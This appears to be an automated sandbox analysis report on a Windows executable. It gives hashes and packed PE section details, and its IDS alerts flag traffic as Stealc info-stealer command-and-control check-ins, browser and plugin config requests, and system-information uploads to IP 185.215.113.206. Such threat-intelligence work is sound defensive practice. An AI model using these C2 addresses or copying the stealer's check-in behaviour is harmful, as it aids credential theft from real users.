Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.43.M?..............................................................................................................................................................................................................................................................................................................................................U.$.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3065)
Category:	downloaded
Size (bytes):	3070
Entropy (8bit):	5.840753792211919
Encrypted:	false
SSDEEP:	48:Y7Wj/BKlgZ01LF67cH6666aHe9OBRfMjCY0BjCVgDYrvpuJz1BKwsy0GaMAxu67S:YjlizQH6666TYfoCY0ca6u11BKwsHGak
MD5:	1E5859D573935DA32B10FC6DA4CCEB45
SHA1:	8691A20027D2D689E7F1737FAE585ADCEEEE52E8
SHA-256:	88CEFF2E0316398DC038A1C5995B4CF1A1A07D935C7ADC0EB19580BE7F002FAF
SHA-512:	D08432F848C506B93DB9591F1F661BC393CE4CF91979174C460F89C80B069E5F50C67174152B59775B567B54CF20B3BDF899BEB3563CC88210A3AAB01DD49967
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["aew wrestling full gear","rocket launch spacex falcon 9","nba fred vanvleet","thanksgiving winter storm forecast snow","american airlines boarding gate lice","nintendo switch","reincarnation kendrick lamar lyrics","nba rumors lakers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wdzUxaF8wEjFGcmVkIFZhblZsZWV0IOKAlCBBbWVyaWNhbiBiYXNrZXRiYWxsIHBvaW50IGd1YXJkMvcLZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFDOEFRQU1CSWdBQ0VRRURFUUgveEFBYUFBQURBQU1CQUFBQUFBQUFBQUFBQUFBQUJnY0VCUWdELzhRQU5SQUFBUU1EQXdJRUFnY0pBQUFBQUFBQUFRSURCQUFGRVFZU0lURlJFMEZoZ1

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132982
Entropy (8bit):	5.4351901235404565
Encrypted:	false
SSDEEP:	3072:fZkXyPqO7UX1Hme9kZbs4Voc5fSnXqwQ2i6o:fSyWFHrp4Voc5fSnawQ8o
MD5:	8E6BC59A2B5257CF0AA54E00E9810C9D
SHA1:	78500D7867513B642F16C04C3743CF4D9E1F9992
SHA-256:	5989E18B17D4E61409AFD13DEA63B5BC7BA62824BC11B2265AE123576B61DBF0
SHA-512:	3B65023A468B6D499BEBE781B71CDC4276FEAD194C1489C947D49DC7ECD92E090E0AF002AE7B7ADC7C994998702E120C3FC45279C3B130DF916A08EAAE509EBE
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94555158276949
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'771'008 bytes
MD5:	3c0fdc03af4ee57e1fb552f41e86cfba
SHA1:	41fd1ab70b2ab449460d94de741bf62520eef660
SHA256:	665596162e2fbd017fb44dc510ea898db681c9c92ef416369fb2869cfd61ed78
SHA512:	802b1401c765ca5abb11b42f6d5d45b95dc6eebbdce7e0b57d5e1c5c2774f91e0287dd2158c41fe3abe554628341a377de6a196eed3b14567a2342cd316c6bbf
SSDEEP:	24576:ZyjfWfvqiAbs0Iwm2o9qAcu+3msqun5CxRJKF/VRSvIAz1W1+HZZzd:vXqBU7c13J5CxR+N+IAzJfz
TLSH:	108533327BF3DC1DE8ED5778282B5C911B3C2AA6AD1854B20646176E93FB3401BC65BC
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB2DCC7B58Ah
pmulhuw mm3, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	8ca21abe7aa70a2a032fc1106922cfee	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	914d0e49aa755035f320cda420441d12	False	0.796875	data	6.11593319702082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x298000	0x200	5001d7966003a023224b9b75214ac597	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nyqiuucy	0x4e4000	0x197000	0x196800	b680b0d47f94f55c20193b0924f86092	False	0.9944102907825954	data	7.953817875819591	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kepxsgaz	0x67b000	0x1000	0x400	638999c3631e70abcc56a23387fcf50c	False	0.7421875	data	5.917432555630623	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67c000	0x3000	0x2200	d7906080ef6716c1d1d81fdf04d7cb87	False	0.0681295955882353	DOS executable (COM)	0.8201981528807509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x67a428	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T16:21:09.159803+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T16:21:09.807193+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T16:21:10.047875+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-25T16:21:10.392081+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T16:21:10.516177+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-25T16:21:11.975349+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T16:21:12.441846+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T16:21:35.696272+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:37.606543+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:38.902149+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:40.065072+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:43.573334+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:44.697366+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:53.447424+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49889	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 16:20:59.434452057 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 16:20:59.434454918 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 16:20:59.575086117 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 16:21:06.884876966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:07.005846024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:07.006067038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:07.006436110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:07.126337051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:08.555306911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:08.555385113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:08.645751953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:08.801047087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:09.043744087 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 16:21:09.043755054 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 16:21:09.159691095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:09.159802914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:09.161295891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:09.184421062 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 16:21:09.283890009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:09.807069063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:09.807193041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:09.807452917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:09.807517052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:09.837366104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:09.837517023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:09.838946104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:10.047874928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.391947985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.391963959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.391977072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.392059088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.392071962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.392081976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.392081022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:10.392180920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:10.392180920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:10.393685102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:10.516176939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.858367920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:10.858458996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:10.876940012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:10.877005100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:11.002553940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.002573967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.002597094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.002607107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.002648115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.002657890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.002670050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.665714025 CET	443	49703	23.1.237.91	192.168.2.5
Nov 25, 2024 16:21:11.665816069 CET	49703	443	192.168.2.5	23.1.237.91
Nov 25, 2024 16:21:11.975142956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:11.975348949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:11.975912094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.101226091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.441674948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.441692114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.441845894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.443798065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.443881989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.443916082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.443967104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.452356100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.452392101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.452445030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.458861113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.458882093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.458956957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.458956957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.467278004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.467353106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.467439890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.467494965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.475744963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.475795984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.475821972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.475864887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.484297037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.484363079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.571209908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.571388006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.571393967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.571484089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.575428009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.575531006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.575544119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.575581074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.583873987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.583935022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.583991051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.584043026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.592449903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.592551947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.592550993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.592626095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.600753069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.600869894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.651964903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.651993036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.652066946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.656090021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.656174898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.657550097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.657643080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.657670975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.657721043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.666562080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.666626930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.666656971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.666680098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.674562931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.674591064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.674665928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.682862997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.682961941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.682982922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.683075905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.691422939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.691490889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.691533089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.691613913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.699784994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.699847937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.702857018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.702919960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.702955961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.703041077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.711347103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.711395025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.711405039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.711450100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.719810009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.719824076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.719903946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.728121042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.728216887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.728229046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.728306055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.736563921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.736663103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.781548023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.781596899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.781622887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.781682968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.785841942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.785897970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.785942078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.785995007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.794291973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.794363022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.794389009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.794439077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:12.802329063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.802340984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:12.802388906 CET	49704	80	192.168.2.5	185.215.113.206
